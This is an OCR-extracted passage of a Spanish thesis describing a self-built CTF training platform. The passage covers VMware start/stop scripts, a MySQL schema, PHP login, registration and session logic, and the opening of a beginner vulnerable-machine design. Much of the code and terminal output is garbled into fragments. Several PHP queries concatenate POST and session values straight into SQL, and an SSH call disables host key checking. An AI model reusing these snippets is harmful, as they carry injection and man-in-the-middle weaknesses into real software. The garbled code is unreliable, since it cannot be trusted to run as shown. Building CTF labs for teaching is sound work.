Hard Disk: 2068
Memary: 4096 MB
Network Adapter:  Bridged (Automatic)
Other Devices: 2 CPU cores, CD/DWD, USB Controller, Printer, Sound...
v
Customize Hardware. ..
[CJPower on this virtual machine after creation
Add... Remove
e

Figura 12: Virtualizacion de procesadores

4.1.2 Instalaciéon del software necesario

Una vez configurada la maquina virtual, se arrancard y se instalara el sistema
operativo de manera predeterminada. En este punto, el Unico software que falta por
afiadir es el gestor de maquinas virtuales VMware Workstation, que se podra descargar
desde la pagina principal de la herramienta. Una vez descargado, en la maquina se podra
ver un archivo cuyo nombre contiene el nombre de la version y acaba en “.bundle”, al
cual habra que darle permisos de ejecucién y ejecutarlo, como se puede ver en la figura
trece.

root@ubuntu: /home/ctfserver /Downloads# chmod + VMware-Workstation-Full-16.1.2-17966106.x86_64.bundle

root@ubuntu: /home/ctfserver /Downloads# . /VMware-Workstation-Full-16.1.2-17966106.x86_64.bundle

Figura 13: Instalacion VMware

Cuando se inicie el instalador, pedira un compilador de C++, es aqui cuando hay
que instalar el famoso GCC Compiler de GNU, que viene dentro del paquete “build-
essentials” de “Linux apt” (Gestor de paquetes de distribuciones Debian/Ubuntu).
Simplemente, se hace descarga este paquete haciendo uso de la herramienta, como se ve
en la figura catorce.

root@ubuntu: fhome/ctfserver /Downloads# apt install build-essential
Reading package lists... Done

Building dependency tree

Reading state information... Done

build-essential is already the newest version (12.8ubuntul.1).
@ upgraded, ® newly installed, ® to remove and 56 not upgraded.
root@ubuntu: fhome/ctfserver /Downloads# I

Figura 14: Instalacion GCC
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Se siguen los pasos indicados en el instalador, a preferencia del administrador.

Por ultimo, solo queda instalar la herramienta VMware Tools (que contiene,
entre otras herramientas, vmrun) para poder enriquecer el programa para diversas
funciones, como por ejemplo obtener la IP de una maquina, o simplemente iniciarla.
Para ello, se ejecuta el comando “apt-get install open-vm-tools”. Por otro lado, estas
herramientas tienen que ser instaladas en cada CTF que se agregue al repositorio, con
una opcidn de facil acceso desde el menu de configuracion del laboratorio. Tal y como
se ve en la figura quince.

root@ubuntu: fhome/ctfserver/Downloads# apt-get install open-vm-tools
Reading package lists... Done
Building dependency tree

Reading state information... Done
open-vm-tools is already the newest version (2:11.2.5-2ubuntul~ubuntuz®.e4.1).
® upgraded, @ newly installed, @ to remove and 56 not upgraded.

Figura 15: Instalacion VMware Tools

En este punto, el repositorio estaria listo para albergar a los diferentes
laboratorios. Sin embargo, para que la I6gica de la plataforma, hacen falta dos cosas. En
primer lugar los scripts necesarios para gestionar los laboratorios, y afiadir el archivo
SSH “id_rsa.pub” del servidor web a la lista de “authorized keys” del directorio
“/home/repository/.ssh”. Tal y como se ve en la figura dieciseis.

Figura 16: Adicion de la clave publica al archivo authorized_keys

En esta imagen se puede ver la clave publica del servidor web en la lista
autorizada de SSH. De esta forma, utilizando el archivo id_rsa, el servidor web podré
conectarse sin proporcionar credenciales, ya que una filtracion del cédigo de la pagina
podria mostrar los mismos en texto claro.

Para completar la explicacion, en el directorio “vmware”, dentro de la carpeta
home del usuario repositorio, es donde se almacenaran tanto los directorios de los CTF
como los scripts, que se detallardn a continuacion. El esquema general del directorio
seria el que puede verse en la siguiente figura, la nimero diecisiete:

S 1s -1

total 12
drwxrwxr-x 2 repository repository 4096 Sep 5 01:57

-rWXrwxr-x 1 repository repository 968 Aug 28 11:02
-rwxrwxr-x 1 repository repository 518 Aug 28 10:56

Figura 17: Directorio /vmware

Se pueden distinguir el script de arranque runvm.sh, el script de detencion de la
maquina stopvm.sh, y el CTF Miguel. Todo dentro del directorio “vmware”.
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4.1.3 Script de arranque runvm.sh

GNU nano 4.8 runvm.sh

'maquinausuario’
directorio

/home /repository/vmware

/*

vmrun ws start /home/repository/vmware/ /- .vmx nogui

Figura 18: runvm.sh — Script completo

Este script en bash siempre es llamado otorgandole dos parametros, siendo el
primero de ellos la maquina a ejecutar, y en segundo lugar el usuario ejecutor. Por
ejemplo, cuando el usuario ‘asekas’ ordene el arranque de la maquina ‘Miguel’, el
script serd llamado tal que: “runvm.sh Miguel asekas”.

El script en cuestion lo conforman un total de cuatro pasos:
El primero de ellos almacena en una variable el nombre del directorio donde se

albergara la copia de la instancia, cuyo nombre es el producto del nombre de la maquina
y el del usuario. Correspondiendo al ejemplo, directorio=Miguelasekas

GNU nano 4.8 runvm.sh

'maquinausuario’

directorio

Figura 19: runvm.sh — Nombre del directorio destino

En el siguiente paso, que se ve referido en la figura nimero veinte, se sitta el
script en el directorio “vmware”, y se crea el directorio. Correspondiendo al ejemplo,
“mkdir Miguelasekas”.

Jhome /repository/vmware

Figura 20: runvm.sh — Creacion del directorio destino

El tercer paso, que se ve referido en la figura veintiuno, consiste en la copia
directa desde el directorio original de la maquina hasta el nuevo directorio. Como se
puede ver, se copian todos los datos albergados en $1, que corresponde al nombre de la
maquina. “cp -r” permite la copia del directorio de manera recursiva, con “$1/*” se
copian todos los archivos dentro de $1, y por ultimo se estipula el directorio destino
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$directorio. Correspondiendo nuevamente al ejemplo, seria “cp -r Miguel/*
Miguelasekas”. Este proceso tarda algo mas de un minuto, puesto que son archivos
bastante pesados los que copiar.

Figura 21: runvm.sh — Copia desde la plantilla hasta el directorio destino

Por ultimo, se arranca la maquina desde el directorio creado $directorio, que
seguird teniendo el nombre de la plantilla original $1.vmx. En este caso, con el
parametro “-T ws” se le indica a la herramienta que se quiere utilizar el formato
‘WorkStation’, se quiere abrir la maquina virtual cuyo archivo de configuracion esta
localizado en “/home/repository/vmware/$directorio/$1.vinx”, y que no se quiere
interaccion visual con la maquina con el pardmetro ‘nogui’, iniciandola sin interfaz,
consumiendo menos recursos. Aplicado al ejemplo, quedaria: “vmrun -T ws start
/home/repository/vmware/Miguelasekas/Miguel.vmx nogui”, como en la figura
veintidos.

vmrun ws start fhome/repository/vmware/ / .vmx nogui

Figura 22: runvm.sh — Inicio de la instancia desde el directorio destino

Destripando la herramienta, vmrun cuenta con los comandos basicos “start, stop,
restart, suspend, pause, unpause”. Para los scripts se estara utilizando Unicamente las
sentencias ‘start’y ‘stop’ para el control de las maquinas. El parametro “nogui” permite
la ejecucion en segundo plano, sin interfaz gréafica.

4.1.4 Script de detencidn stopvm.sh

Para el segundo script, la estructura es parecida pero evidentemente, los
comandos utilizados son diferentes. Recibe, del mismo modo que el primero, los
nombres de la maquina y el usuario por parametro. La llamada se realiza del mismo
modo, resultando, siguiendo el ejemplo del script de arranque: “stopvm.sh Miguel
asekas”
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GNU nano 4.8 stopvm.sh

'maquinausuario’
directorio

vmrun ws stop /[home/repository/vmware/

/home /repository/vmware

Figura 23: stopvm.sh — Script completo

Como en el script anterior, se va a explicar cada uno de los tres pasos que lo
componen:

El primero de ellos es idéntico al del primer script, se junta en una variable
directorio el producto de los nombres de la maquina y del usuario recibidos por
parametro.

En el segundo paso, el objetivo es apagar la maquina. Para ello, siguiendo la
misma estructura que en el cuarto paso del primer script, pero esta vez se utiliza la
sentencia “stop”, tal y como se ve en la figura veinticuatro.

vmrun ws stop fhome/repository/vmware/

Figura 24: stopvm.sh — Detencion de la maquina

En el dltimo paso, mostrado en la figura veinticinco, después de apagar la
maquina, se elimina el directorio haciendo “rm -r directorio”.

/home /repository/vmware

Figura 25: stopvm.sh — Borrado del directorio donde se alberga la instancia

Con esto, se da por finalizada la implementacion del servidor repositorio.
4.2 Servidor web

4.2.1 Instalacion del servidor

Respecto a la implementacion del servidor web, es preferible instalar un sistema
operativo con interfaz de usuario, de la misma forma que en el servidor repositorio.
Realmente, como se ha comentado, este servidor no necesita un rendimiento enorme,
sino que se prefiere la facilidad del desarrollo web y comodidad a la hora de programar
la pagina. Es por esto, que se realizan exactamente los mismos pasos anteriores para la
instalacién del sistema operativo. VMware Workstation en este caso no hace falta,
debido a que no se va a ejecutar ninguna maquina virtual en este servidor.
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Antes de comenzar con la explicacion del proyecto web, primero es necesaria la
implementacion de los servicios Apache y MySQL, para poder hacerlos funcionar y
poder ver los cambios en directo. Para ambos servicios se ha hecho uso de una
instalacion estandar utilizando el gestor de paquetes ‘Linux apt’.

Para apache, tras poner el comando “apt install apache2”, se deberia descargar
y arrancar el servicio automaticamente. Tras la instalacion, dado que el servidor seré
accesible desde fuera, es necesario habilitar el trafico por el puerto 80 en el firewall
(cortafuegos. Impide el trafico proveniente o saliente de determinados puertos) de
Ubuntu, ya que, de otra manera, peticiones desde fuera del “localhost” nunca seran
recibidas. Esto se consigue mediante el comando “ufw allow ‘Apache’”, que
verificaremos mediante el comando “ufw status”. Esto crea un directorio localizado en
“/var/www/html” donde se da comienzo el desarrollo del proyecto web posteriormente.

Para la instalacion de MySQL se seguira un proceso similar al de apache, pero
esta vez estipulando el comando para MySQL y el modulo de PHP para que pueda
comunicarse via cddigo con el backend. El comando a ejecutar es “apt install mysql-
server mysql-php”.

Una vez realizados estos pasos, la maquina tendra un servidor apache corriendo
y que se puede comunicar con el exterior por el puerto 80, asi como el gestor de base de
datos MySQL, al que ademas es de vital importancia cambiarle la contrasefia por
defecto.

4.2.2 Implementacion y estructura de la base de datos

Dado que la logica y persistencia de los datos toma lugar en la base de datos, es
importante definir primero una buena estructura para los mismos. En primer lugar, a
través del terminal, hay que entrar al gestor mediante el terminal de comandos: “mysql -
u root -pcontrasefia”, tal y como se ve en la figura veintiséis.

root@ubuntu: fhome/ctfserver# mysql -u root

Figura 26: Acceso a MySQL
Esto abrird el gestor de base de datos en formato de terminal interactiva. Lo

primero sera crear la base de datos con “CREATE DATABASE ctf;”, tal y como se ve
en la figura veintisiete.

mysql> create database ctf;

Query OK, 1 row affected (0.01 sec)

Figura 27: Creacion de la base de datos

Una vez creada, hay que “usarla” mediante el comando “use ctf;” para hacer que
los siguientes comandos se interpreten en relacion a esta base de datos. En este punto,
hay que crear las siguientes tablas en el siguiente orden:

En primer lugar, la tabla maquina:
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E TABLE maquina (
id int T NULL AUTO INCREMENT;
nombre VAF R({20)
usertxt ;

roottxt
descripcion

dificultad ENUM{'E , '"Media', 'Alta
estado ENUM('On','0ff"),

recursos ENUM('Liviano',

PRII EY (id)

Figura 28: Tabla maquina — Create table

La tabla maquina representa a los diferentes CTF existentes en el repositorio.
Este es el significado de cada uno de los campos:

- id: Numérico identificador de la maquina.

- nombre: EI nombre de la maquina.

- usertxt: Cadena de texto en formato md>5 de la flag de usuario.

- roottxt: Cadena de texto en formato md5 de la flag de root.

- descripcion: Pequefio texto resumen o introduccion a la maquina.

- dificultad: Dificultad de la maquina medida en cuatro escalones: Baja,
Media, Alta, Buena suerte.

- estado: Campo que indica si la maquina esta siendo utilizada por algun
usuario o no.

- recursos: Exigencia de la maquina medida en recursos de computo.

Dentro de MySQL, quedaria algo como lo que se ve en la figura veintinueve.

mysql> describe ctf.maquina;

NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL

auto_increment
nombre
usertxt

varchar(2e)

varchar(32)

varchar(32)

varchar(2ee)
enum('Baja','Media’','Alta’, 'Buena suerte')
enum('On"','Off")

recursos enum('Liviano’', 'Medio’', 'Pesado’)
_____________ m e e
rows in set (@0.01 sec)

roottxt
descripcion
dificultad
estado

-
|
o
|
|
|
|
|
|
|
|

f—_— s — 4
f—_— s — 4

Figura 29: Tabla maquina - Resumen

En segundo lugar, la tabla usuario:
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BLE usuario (

id int T NULL AUTO INCREMENT,

TEEI B RCHAR(28) UNIQUE,

7 f AR —-l[Eu'il]_,
email VARCHAR({30)
RIMARY KEY (id)

Figura 30: Tabla usuario — Create table

La tabla usuario representa los diferentes usuarios que tienen cuenta en la
pagina. No se ha querido rescatar informacion personal excepto el email por motivos de
privacidad del usuario, ya que ademas no es necesaria para el correcto funcionamiento
de la plataforma. Este es el significado de cada uno de los campos:

- id: Numérico identificador del usuario

- username: Nombre de usuario. Valor Unico, no repetible.

- password: Contrasefia del usuario para acceder a la pagina. Esta contrasefia
no estd almacenada en texto claro dentro de la base de datos. La contrasefia
pasa por un proceso de hashing (SHA-256) con “salt” antes de ser guardada
en la base de datos, de forma que, ante una filtracién de la misma, se hace
muy complicada la obtencion de la contrasefia real.

- email: Correo electrénico del usuario. Valor Gnico, no repetible.

- salt: Cadena de texto generada aleatoriamente por la I6gica de backend, que
es utilizada en el momento del calculo del campo “password” durante el
registro y el inicio de sesion.

Dentro de MySQL, quedaria algo como lo que se ve en la figura treinta y uno.

mysql> describe ctf.usuario;
Default | Extra

MULL
Username varchar(ze) - NULL

passwor varchar(s4) NULL
varchar(3a) - NULL
varchar(1e) NULL

rows in set (0.81 sec)

Figura 31: Tabla usuario - Resumen

Por ultimo, la tabla sesién, que depende de las otras dos debido a la existencia de
claves foraneas:
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sesion|
maquina

usuario

ip (16)
primercontacto
estado ENUM( " Ac
usertxt

roottxt

(usuario)
(maquina) maquina(id)
(usuario,maguina)

Figura 32: Tabla sesion — Create table

La tabla sesion representa el contacto que un determinado usuario tiene con una
determinada maquina. En otras palabras, es la tabla que relaciona un usuario con un
CTF, en el momento que un usuario decide iniciar la practica con una méaquina por
primera vez, se crea un registro que los relaciona directamente. No existira una sesion
con una determinada maquina, si el usuario nunca ha tenido interaccion con ella. Este es
el significado de cada uno de los campos:

- maquina: Numérico identificador de la maquina. Clave foranea, forma parte
de la clave primaria junto a usuario. Corresponde al campo id.maquina

- usuario: Numérico identificador del usuario. Clave foranea, forma parte de
la clave primaria junto a maquina. Corresponde al campo id.usuario

- ip: Cadena de texto que almacena la direccion IP de la instancia (sesién). Por
defecto es desconocida. Cuando se obtiene una IP real se actualiza por dicho
valor, y vuelve a desconocida una vez se apaga la instancia a traves del
backend.

- primercontacto: Fecha de creacion de la sesion (primer contacto del
usuario con la maquina).

- estado: Define el estado de la sesion. Campo limitado a ‘Activa’ o ‘Off’. Un
usuario solo puede tener una sesion activa a la vez.

- usertxt: Campo que determina si el usuario ha conseguido la flag de usuario
del laboratorio en cuestion.

- roottxt: Campo que determina si el usuario ha conseguido la flag de root del
laboratorio en cuestion.

Dentro de MySQL, quedaria algo como lo que se ve en la figura treinta y tres.
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mysql= describe ctf.sesion;

NULL

NULL
Desconocida
NULL

NULL

sin introducir
Sin introducir

maquina
usuario
ip varchar(16)

primercontacto date

estado enum( 'Activa’', 'O0ff')
usertxt varchar(64)

roottxt varchar(e4)

—_————— —  — 4
—_——————  — 4
+———— + — 4

rows in set (0.08 sec)

Figura 33: Tabla sesion - Resumen

Esta seria la estructura de la base de datos de la plataforma, donde se recogen
todos los datos necesarios para su funcionamiento.

Los registros de usuario y sesion son capaces de ser creados a través de los
controles de la pagina, pero no es el caso de los laboratorios. Los datos de los CTF
tienen que ser introducidos de manera manual, dado que la pagina carece de la
funcionalidad necesaria. Una vez explicada la estructura de la base de datos y como se
almacenan los datos de los usuarios, maquinas y lo que relaciona a ambos, es mucho
mas facil entender la 16gica de backend utilizada en PHP.

4.2.3 Logica de backend (servidor)

Para explicar la logica, se empezara siguiendo un orden normal al de una
navegacion del usuario corriente. Sin embargo, dado que el apartado de PHP esta
disefiado siguiendo un modelo de programacion orientado a objetos, primero se
explicaran las diferentes clases y métodos que se encuentran.

4231 PHP - Base de datos

Existe una pégina por tabla, mas una clase “base de datos” que es la que primero
se explicara. El codigo referente a esta pagina seria el encontrado en la figura treinta y
cuatro:
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{
$instance =

$conn;
¢ t

-=conn = i -=User, -=pwd ,
if( conn->conne r
"Error al c

echo

::$instance;

conn() {
->conn;

Figura 34: database.php

Esta clase utiliza un constructor para conectarse, y un método getinstance() que
devuelve una instancia de la base de datos, a través de la cual se pueden realizar
consultas desde otras paginas. Los datos necesarios para ello son la direccion IP de la
base de datos (en este caso localhost), el usuario y contrasefia del usuario que efectuara
las consultas (en este caso no es root, ya que, por cuestiones de seguridad, nuevas
versiones de MySQL no lo permiten. ES por esto que es necesario crear un usuario con
los suficientes privilegios para alcanzar todas las consultas necesarias, diferente del
usuario root), asi como la base de datos donde hacer dichas consultas. Una vez
explicada esta clase, de donde embeben las siguientes, se va a proceder a explicar las
diferentes clases que coinciden con las tablas de la base de datos: maquina, usuario y
sesion.

4.2.3.2 PHP - Maquina

Empezando por la de maquina, se almacenan los mismos campos que en la base
de datos en variables especificas. Para cada uno de estos atributos, se crean ‘getters y
setters’ (métodos especiales para obtener o establecer el valor de un atributo a priori
privado) para mantener la privacidad de dichos valores, haciéndose imposible acceder
desde fuera. Este concepto se repetiréa para las siguientes clases.
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Maquina{

$id;

$envergadura;
getId(){

=id;

setId($id){
d:

Figura 35: maquina.php - Atributos

Més abajo, se encuentra el Unico método de la clase, arrayMaquinas(), que
devuelve un vector de objetos con todas las maquinas encontradas en la base de datos.
Ell codigo que la define se encuentra en la figura treinta y seis.

ion arrayMaquina[}m
$maquinas = array();
$query = "";
$db = D getInstance();
$query = "
$resultado

1($resul

return SNE!I}LI]'.ITHS H

Figura 36: maquina.php - Método arrayMaquina

A través de una consulta, se obtienen los diferentes datos que maés tarde se
utilizaran en el listado de las maquinas y se afiaden al array.
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4.2.3.3 PHP — Usuario

En segundo lugar, esta la clase usuario con los siguientes atributos:

'$id_:

fusername;

$password;
$email;
$salt;

Figura 37: usuario.php - Atributos

La clase cuenta con dos métodos, checkDbUser(user), que comprueba la
existencia del usuario en la base de datos, e insertUser(username, password, email), que
tras una validacion de errores, se encarga de calcular el hash del password y de insertar
el usuario en la base de datos.

El cddigo de checkDbUser se veria tal y como en la figura treinta y ocho.

ction checkDbUser(string $user){
$db = C :getInstance();

$query = "S
$resultado

Figura 38: usuario.php - Método checkDbUser

Recibe el nombre del usuario por parametro, y devuelve los datos id, username,
password y salt en formato de objeto tras consultarlo en la base de datos.

El cddigo de insertUser() es algo méas extenso, por lo que se explicara por partes:

$username, $p rd, $repea 5 $email){

$salt = substr(str_shuffle('01l2

$password .= $salt;

Figura 39: usuario.php - Método insertUser
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En la figura treinta y nueve, se puede ver que tras recibir los parametros
username, password, repeatpassword y email del formulario de registro, se comprueba
en primera instancia si los campos de “Contrasena” y “Repite la contrasefia” coinciden.
En caso erroneo, el usuario es notificado por pantalla. En caso de que coincidan, se
procede a calcular el salt a partir de una funcion aleatoria cogiendo diez caracteres
alfanuméricos. Este salt se coloca al final del password introducido, para luego
someterlo todo a una funcion de hashing con el algoritmo SHA-256.

Una vez calculado el hash, se procede a comprobar si el usuario introducido ya
existe en la base de datos, asi como con el email y otros errores antes de insertarlo en la
base de datos. Todo ello a través de consultas a la base de datos, como se ve en la
siguiente figura:

:getInstance();

(*".$username."" *.$password." ', .$email."’,

header ('L

Figura 40: Cddigo PHP de insercién de usuario

Si todo es valido, se procede a la insercion del usuario. Recordar que la
contrasefia del usuario se almacena en formato hash en SHA-256 de (password+salt).
Por ejemplo, si en el formulario de registro, el usuario ha establecido como contrasefia
“Holal23”, a esta cadena de texto se le sumara una cadena aleatoria alfanumeérica, por
ejemplo “AsDfGh1234”, resultando una cadena “Holal23AsDfGh1234” que se
resumira, utilizando SHA-256 en:
“546e475df47e522646b87021bf026e656cd23b85eb0chc935b7ac327a6b775¢c0”

Esta, finalmente, es la password que se almacenara en la base de datos.

4234  PHP - Sesion

Pasando por altimo a la clase de sesion, los atributos que la conforman son los
siguientes, en la figura cuarenta y uno:
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Figura 41: sesion.php - Atributos
La clase cuenta con dos métodos, returnActiveSesion(user id), que devuelve los
datos de la sesién activa del usuario para poder expresar los datos en formato de tabla en
su perfil (recordar que nunca habra mas de una sesion activa), y arraySesiones(user
id), que devuelve todas las sesiones del usuario para calcular las estadisticas.

El codigo de returnActiveSesion se veria tal que asi:

esion( $userid){

a, maquina.nombre, sesion.prim

Figura 42: sesion.php - Método returnActiveSesion

De la misma forma que en métodos del estilo, a través de una consulta en la base
de datos (ésta en concreto junta datos de varias tablas), se plasma en un objeto sesion
todos los datos y se devuelve.

El codigo de arraySesiones puede verse en la figura cuarenta y tres.
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arraySesiones(int $userid){

$sesiones = array();

$db = D :getInstance();

" $userid.";";

Figura 43: sesion.php - Método arraySesiones

A partir del identificador del usuario proporcionado como parametro, se crea un
array que se rellena a través de una consulta, con la informacion de las flags
introducidas para las diferentes maquinas con las que ha mantenido contacto. Este array
se utilizard para calcular la tabla de estadisticas disponible en su perfil.

Tras haber explicado los diferentes métodos que van a ser Illamados en las
siguientes paginas, puede dar comienzo la explicacién de las mismas, siguiendo el
orden de navegacion habitual.

4235 PHP - Login

La primera de las paginas con las que se encuentra el usuario es la de login.php,
ya que es imposible acceder al resto de paginas (exceptuando la pagina de registro) sin
haber iniciado sesion previamente como un usuario valido de la base de datos. Esta
pagina, que contiene un formulario donde introducir el nombre de usuario y la
contrasefia, es capaz de recoger los datos introducidos por el usuario. El panel de inicio
de sesién tendria una logica por detras tal y como la que se ve en la figura cuarenta y
cuatro:

placeholder="No e de usuario” name="username" pattern="|[a " required

ord" placeholder="Cont a" name="p d" required

class='form-button' value="login"=Iniciar sesién

una cuenta?
p"=Crea una aqui

Figura 44: Cddigo HTML login.php
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Estos datos viajan por post hasta el cédigo PHP localizado justo abajo, en la
propia pagina, que puede verse asi:

$usuario = Usuario::checkDbUser($username);

getSalt();

etPassword() )]

Figura 45: Cadigo PHP login.php

Para facilitar el manejo de los datos, estos se guardan en las variables
“username” y “password”. Se pasa el nombre de usuario al método checkDbUser, que
devolverd los datos correspondientes al usuario, que deberia estar en la base de datos. Se
obtiene el salt y se concatena a la contrasefia introducida en el formulario de inicio de
sesion, para calcular el hash, como se explicaba anteriormente. Si el hash coincide con
el hash almacenado en el campo “password” de la base de datos, entonces se crea una
cookie de sesion para el usuario, y se le redirige a la pagina index.php. A partir de aqui,
se podra acceder al resto de paginas, siempre y cuando exista una cookie de sesion
valida para dicho usuario.

4.2.3.6  PHP —Pagina principal

La pagina index.php es la pagina donde se muestra un listado de todas las
maquinas disponibles en la plataforma en formato de tabla.
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session_start();

id']) || % SESSION['user id'] == 0){
gin.php');

achine.php";

$maquinas = Maquina::arrayMaquina();

if(sizeof($maguinas)
$tabla.= i

Figura 46: Codigo PHP pagina principal — Primera parte

Como se puede ver en la figura cuarenta y seis, antes de mostrar la tabla se
comprueba que el usuario tiene una cookie de sesion, por lo que en caso negativo, se le
redirige a la pagina de inicio de sesion. En caso afirmativo, se recoge el array (vector)
de maquinas a través del método arrayMaquina(), y se crea el encabezado de la tabla.

Luego, por cada maquina recopilada en el array, se creara una fila en la tabla con
la informacion a mostrar, de la siguiente forma:

}

$tabla .=

Figura 47: Codigo PHP pagina principal — Segunda parte
Como se puede ver en la figura cuarenta y siete (lineas 46 a 49), existe un botén

que recoge el dato del ID de la maquina que representa a ese botdn, y lo manda por
POST a powerctf.php.
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4.2.3.7 PHP — Iniciacién de las instancias

Esta pégina, powerctf.php, es la encargada de arrancar las instancias de
laboratorio virtual. Recibe dos parametros, por un lado, el identificador de la maquina a
ejecutar por POST, y por otro el identificador del usuario a través de la cookie de
sesion. Su cometido es el de realizar un control exhaustivo de errores para que todo se
inicie correctamente, evitando la presencia de errores de escritura fantasma en la base de
datos (esto seria escribir registros falsos en la misma).

El cddigo podria verse de la siguiente forma:

session_start()

*.$ SESSION['user id'].";";

(".$ POST['ctfId'].",".$ SESSION['user id']1.",now(),'0ff');

Figura 48: Activando la sesion del usuario con la maquina

Primero se comprueba que se ha llegado a la pagina desde una cookie de sesion
valida. Se recogen ambos datos (identificador de maquina e identificador de usuario)
para comprobar si el usuario ya habia tenido contacto previo con la maquina, en cuyo
caso negativo la inserta en la base de datos, como se puede ver en la figura cuarenta y
ocho.

maquina = ".$ POST['ctfId']. HIETgL] .$ SESSION['user id'].";";

".$_POST['ctfId'].";"

Figura 49: Cédigo PHP de arranque
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Después, (figura cuarenta y nueve) se comprueba si el usuario ya tiene una
sesion activa antes de iniciar esta (podria darse el caso de un doble clic, o intentar
iniciar un laboratorio cuando ya tiene otro activo), y si no es el caso, activa la sesion,
iniciando la maquina. El laboratorio virtual es iniciado a través de un script en bash en
el mismo servidor web, localizado en la carpeta “/opt/scripts”, que tiene el nombre de
powerctf.sh.

Este script recibe como parametro el nombre de la maquina y el nombre del
usuario, y tiene inicamente la siguiente linea de cddigo:

ssh -o "strictHostKeyChecking=ne" -1 /var/www/.ssh/id_rsa repository@192.168.0.44 "/home/repository/vmware/runvm.sh "$1" "$2""

Figura 50: Iniciando el script runvm.sh mediante SSH

Se trata de una conexion por SSH hacia el servidor repositorio, (utilizando el
archivo id_rsa generado para no proporcionar contrasefia) que ejecuta el script
“/home/repository/vmware/runvm.sh” explicado durante la implementacion del servidor
repositorio proporcionandole también el nombre de la maquina y el del usuario.

4.2.3.8 PHP — Perfil de usuario

La siguiente pégina seria la del perfil, que recibe el nombre de profile.php. Esta
pagina contiene bastante l6gica, pero recoge conceptos similares con las anteriores, de
manera que no se hara demasiado hincapié en los conceptos comunes.

La tabla de la sesion activa aparece o0 no en funcidn de si existe una sesion activa
para el usuario. Cuando se muestra, lo hace de manera similar al de la tabla de
index.php, pero en vez de ser un listado de maquinas, contiene informacion acerca de la
sesion, pero con bastante mas logica afiadida que la dota de dinamismo. Esta
informacion la recoge haciendo uso del método returnActiveSesion(user id). De esta
forma se construiria el encabezado de la tabla. Si al usuario le queda minimo una
bandera por introducir, se afiadird una nueva columna al encabezado. Esto cobrara
sentido més adelante.

r id']);

tixt() != 'retrieved

Figura 51: Header de la tabla de sesion

Como se puede ver en la figura cincuenta y dos, la tabla se rellena en funcién de la
informacidn obtenida. Si la direccion IP se muestra como “Desconocida”, se ejecuta un
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comando a nivel de sistema que recupera la direccion IP de la maquina a través de SSH.
El comando puede verse en la propia imagen (linea 70). La IP no se muestra hasta que
la méaquina no haya sido correctamente iniciada, proceso que puede demorarse un poco.
Para ello, el usuario refrescara la pagina hasta que se pueda conseguir la IP de la
maquina. La direccion IP se almacena en la base de datos para futuras interacciones.

()."/".$sesionActiv

= ".$ SESSION['user id']." AND maguina = ".$sesionActiva->getIdmaquina().";"

Figura 52: Codigo PHP obtencion IP

La tabla de sesion muestra cierto dinamismo a la hora de introducir las banderas.
Si al usuario le queda una o méas banderas por introducir de la méaquina, se le pone a
disposicion un boton con un input de texto donde colocar la bandera. También el
sistema es capaz de detectar si el usuario ha introducido esa bandera o no, indicandoselo
de manera clara mediante la informacion “Sin introducir”, “Introducida” (cédigo
presente en la figura cincuenta y tres).

$tablaSesion .

Figura 53: Cadigo PHP tabla de sesion

El botdn accionara el mecanismo de validacion de la bandera y el sistema
detectara automaticamente si se trata de alguna de las banderas de la maquina, y la
“canjeard”, haciendo los cambios convenientes en la base de datos. La logica que
pertenece a esta validacion es la encontrada en la figura cincuenta y cuatro.
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".$ POST['ctfId'].";";

".$ POST['ctfId'].";";

Figura 54: submitflag.php — Validacion de bandera

Por dltimo, dos ejemplos de las posibles situaciones que pueden darse en
relacion con las banderas introducidas. EI primero de ellos, correspondiente a la figura
cincuenta y cinco, muestra como reacciona la pagina si ambas banderas han sido
introducidas, y el segundo, correspondiente a la figura cincuenta y seis, muestra como
reacciona la pagina si Unicamente se ha introducido una de las banderas (la de usuario
en este caso).

UMHack Hola, asekas, feliz hacking! Maquinas Perfil

Usuario Méquina Direccidn IP user.txt root.txt Estado Primer contacto

asekas  Miguel  192168.0.46  Introducidav  Introducida v Activa 2021-08-29
Usuario  Flags deusuario  Flagsroot  Maquinas comprometidas

asekas 1 1 1

Figura 55: Ejemplo de tabla de sesion con ambas banderas introducidas

UMHack {Hola, asekas, feliz hacking! Méquinas Perfil Cerrar sesion

Usuario Méquina Direccién IP user.txt root.txt Estado  Primer contacto ¢Has conseguido alguna flag?

asekas Miguel 192.168.0.46 Introducida v Sin introducir X Activa 2021-09-06 m
Usuario  Flagsdeusuario  Flagsroot  Maquinas comprometidas
1 0 0

asekas

Figura 56: Ejemplo de tabla de sesion con Unicamente una bandera introducida
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Con el botén rojo “Apagar maquina” que aparece en la tabla de sesion, el
usuario serd capaz de comenzar el proceso de apagado y borrado de la maquina. El
botdn inicia el script “stopvm.sh” localizado en la maquina repositorio a traves de SSH,
de la misma forma que anteriormente, indicandole también de qué maquina y usuario se
trata.

Por Gltimo, tan solo quedaria explicar la logica detréds del registro. La logica es
bastante parecida a la pagina de login.php, se recogen datos del formulario por POST, y
se envian al método insertUser(). Una vez en dicho método, es éste el que se encarga de
la insercion del usuario tras la validacion comentada anteriormente.
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5 DISENO DEL CTF ‘MIGUEL’

5.1 Disefo general

Para el disefio de la primera méaquina de la plataforma se ha querido hacer uso de
vulnerabilidades conocidas y sencillas de explotar. Se trata de una maquina de dificultad
baja, donde el usuario puede introducirse de una buena forma en el mundo del
pentesting. Por ello, se tocan diferentes vulnerabilidades muy comunes y simples, para
que el usuario vaya cogiendo soltura de cara a maquinas mas complicadas. Durante el
recorrido, para evitar que se pierda el hilo, se han colocado diferentes pistas para que el
usuario pueda determinar delante de qué vulnerabilidad se encuentra, y pueda
documentarse para explotarla.

El pentesting es una rama que se nutre mucho de aprender por uno mismo y de
las ganas de investigar del pentester. Sin embargo, al principio es bueno reforzar la
metodologia, y no se consigue de otra manera que partir de un buen método y con
insistencia, es por esto que los inicios tienen que ser faciles y didacticos. Indicarle
sutilmente al usuario lo que necesita, sin dejarselo mascado es muy importante cuando
estd empezando, y es algo que se ha perseguido con ahinco durante el disefio del CTF.

Las vulnerabilidades que se han escogido son muy comunes en maquinas de
nivel principiante y se van a enumerar a continuacion, junto al supuesto hilo conductor
que comprende el laboratorio:

5.2 Creacion del hilo conductor

Por un lado, reside en el puerto 80 un servidor web que aloja un sitio de
WordPress. Se da una pequefia pista en la descripciéon de la maquina, pero es algo que
se puede ver con claridad, se quiere dar constancia de que la via potencial de entrar a la
maquina, es decir, el vector de ataque mas claro es accediendo a través de la web. Sin
embargo, el sitio no se muestra vulnerable de primeras, pues lo mas normal es que en
estos servicios, se ataque una version vulnerable de PHP, el propio WordPress, o alguno
